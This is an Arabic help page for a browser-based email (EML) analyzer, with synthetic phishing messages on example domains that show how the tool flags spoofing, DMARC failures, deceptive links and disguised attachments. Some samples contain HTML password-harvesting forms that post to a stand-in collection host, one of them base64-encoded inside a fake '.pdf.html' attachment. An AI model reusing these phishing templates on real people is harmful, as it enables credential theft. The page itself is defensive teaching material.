افحص سجلات SPF (مع حد 10 عمليات بحث) وDMARC وDKIM وMTA-STS وBIMI لنطاق ما.
محلّل ملفات EML
الأداة نفسها باللغة الإنجليزية؛ وهذه الصفحة تشرحها بلغتك.
استخدم محلّل ملفات EML
ما الذي يفعله
اسحب ملف .eml أو الصق مصدر رسالة لفحص ترويسات المرسل وسلسلة Received والروابط والمرفقات. يجري كل شيء داخل متصفحك.
يعمل التطبيق بالكامل داخل متصفحك: ولا يتم تحميل أي شيء تدخله.
كيفية استخدام محلّل ملفات EML
- احصل على الرسالة الخام. احفظ الرسالة بصيغة .eml أو انسخ مصدرها: Show original في Gmail، وView message source في Outlook، وView source في Thunderbird أو Apple Mail. لا تُقرأ ملفات Outlook بصيغة .msg.
- حمّلها. اسحب ملف .eml إلى المربع أو اختره (حتى 50 ميغابايت)، أو الصق المصدر في حقل النص (حتى 5 ميغابايت) واضغط Analyze (تحليل).
- اقرأ Summary. تُرتَّب النتائج إلى علامات خطر وتحذيرات وملاحظات وفحوص ناجحة. ويذكر كل سطر الترويسة أو الرابط أو المرفق الذي جاء منه.
- افحص التفاصيل. تحت الملخص تأتي ترويسات المرسل، والنطاقات المقارنة بنطاق From، ونتائج المصادقة، وسلسلة Received، وكل رابط وكل مرفق.
- خذ المؤشرات. حدّد أنواع المؤشرات التي تحتاجها، ثم انسخها خامًا أو محيَّدة، أو نزّلها كملف .txt، أو استخدم Send to.
مثال
رسالة تصيد مصطنعة
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"
--b1
Content-Type: text/html; charset=utf-8
<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64
PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser
Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO <billing[@]example[.]net>
RETURN-PATH <bounce[@]mailer[.]example>
TO <user[@]example[.]org>
SUBJECT Action required: verify your account
DATE Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID <4471[@]mailer[.]example>
Domains compared with the From domain
From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.
HEADER DOMAIN COMPARED WITH FROM
Reply-To example[.]net
…اسم عرض ينتحل support@example.com، وReply-To وDKIM على نطاقات أخرى، وDMARC fail، ورابط يُظهر نصه www.example.com لكنه يذهب إلى login.example.net، ومرفق invoice.pdf.html يحتوي على نموذج لكلمة المرور.
ما الذي يتحقق منه
| إشارة | ماذا يعني ذلك |
|---|---|
| اسم عرض يحتوي على عنوان بريد إلكتروني | خطر عندما يُظهر الاسم عنوانًا ويكون المرسل الحقيقي عنوانًا آخر. كثيرًا ما تعرض تطبيقات البريد الاسم فقط. |
| Reply-To على نطاق آخر | تحذير: سيذهب ردّك إلى جهة غير الجهة المرسلة. |
| Authentication-Results | DMARC fail وSPF fail علامتا خطر؛ وSPF softfail وDKIM fail تحذيران. ولا يُعتدّ إلا بالنتيجة التي أضافها مزودك أنت. |
| نطاقا Return-Path وDKIM d= | يُشار إليهما عندما يختلفان عن نطاق From. وهذا طبيعي في خدمات البريد الجماعي، لكن DMARC يحتاج إلى توافق أحدهما. |
| سلسلة Received | تُسرد القفزات من الأقدم إلى الأحدث مع أوقات التأخير. ويُشار إلى الطابع الزمني الأسبق من القفزة السابقة، والتأخير الذي يتجاوز ساعة، وDNS العكسي الموسوم «may be forged». |
| نص الرابط ووجهته | خطر عندما يذكر النص الظاهر نطاقًا ويذهب الرابط إلى آخر، أو عندما يخفي النص الذي قبل @ المضيف الحقيقي. ويُعلَّم أيضًا عناوين IP المجردة وpunycode وخدمات اختصار الروابط والروابط المغلَّفة. |
| المرفقات | يُشار إلى الامتدادات المزدوجة، والملفات التي تشغّل شيفرة أو تُفتح في المتصفح، والمحتوى الذي لا يطابق الامتداد، وحيل تجاوز الاتجاه من اليمين إلى اليسار (right-to-left override). ويحصل كل ملف على SHA-256 وSHA-1 وMD5. |
| النماذج والسكربتات في HTML | النموذج الذي يحتوي على حقل كلمة مرور في نص الرسالة أو في مرفق علامة خطر. وشيفرة السكربت داخل مرفق تحذير. |
المزيد من الأمثلة
رابط يخفي عنوان IP
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html
<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>علامة خطر واحدة، «1 link: text before "@" is ignored: the real host is 203.0.113.7»، وتحذير واحد، «1 link: link goes to a bare IP address». ويُظهر جدول Links العنوان محيَّدًا بجوار نصه، Upgrade storage.
صفحة HTML تنتحل صفة ملف PDF
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"
--b
Content-Type: text/plain
Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"
<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--علامتا خطر: المرفق invoice.pdf «contains a form with a password field»، و«content is HTML document, not .pdf». تُظهر بطاقة المرفق Content: HTML document وثلاث بصمات؛ ويسرد جدول Links وجهة النموذج مع «form submits data to this address».
الأسئلة الشائعة
ماذا يفحص EML Analyzer؟
يفك ترميز الترويسات وكل جزء MIME، ويقارن نطاقات From وReply-To وReturn-Path وDKIM d= وMessage-ID، ويقرأ Authentication-Results. ويسرد أيضًا قفزات Received مع أوقات تأخيرها، وكل رابط مع نصه الظاهر، وبصمات SHA-256 وSHA-1 وMD5 لكل مرفق.
هل يمكنه إثبات أن رسالة ما تصيد، أو أنها آمنة؟
لا. فهو يعرض حقائق وعلامات تحذيرية، لا حكمًا: البريد الجماعي المشروع كثيرًا ما يكون له Return-Path أو نطاق DKIM مختلف، وتواقيع DKIM تُسرد لكن لا يُتحقق منها تشفيريًا. ملفات Outlook بصيغة .msg غير مدعومة؛ احفظ الرسالة بصيغة .eml أولًا.
هل تُرفع الرسالة إلى أي مكان؟
لا. يُقرأ الملف ويُحلَّل داخل متصفحك، ويُعرض HTML كنص ولا يُعرض كصفحة أبدًا، ولا يمر أي شيء عبر الشبكة. ويمرر زر Send to النتيجة إلى صفحة أداة أخرى عبر التخزين المؤقت للجلسة (session storage) في متصفحك.
بأي ترويسة Authentication-Results يثق؟
بالترويسة التي أضافها نظام بريدك أنت، ويتعرّف عليها من سلسلة Received ويعلّمها بـ «added by the recipient's server». أما الترويسات الأدنى في الرسالة فيمكن أن يكتبها المرسل، لذا تنصحك الصفحة بألا تثق إلا بنتيجة مزودك.
هل يمكنه فتح رسالة مرفقة برسالة أخرى؟
نعم. تُدرج الرسالة المرفقة مع بصماتها وزر «Analyze the attached message» الذي يفتحها في العرض نفسه. ويعيدك «Back to the outer message».
لماذا تغيب بعض عناوين IP عن المؤشرات؟
تُستبعد العناوين الخاصة والمحلية والقفزات داخل نظام بريد المستلم نفسه، لأنها لا تشير إلى خوادم المرسل. ولا تُضمَّن عناوين البريد الإلكتروني للمستلمين أبدًا كذلك.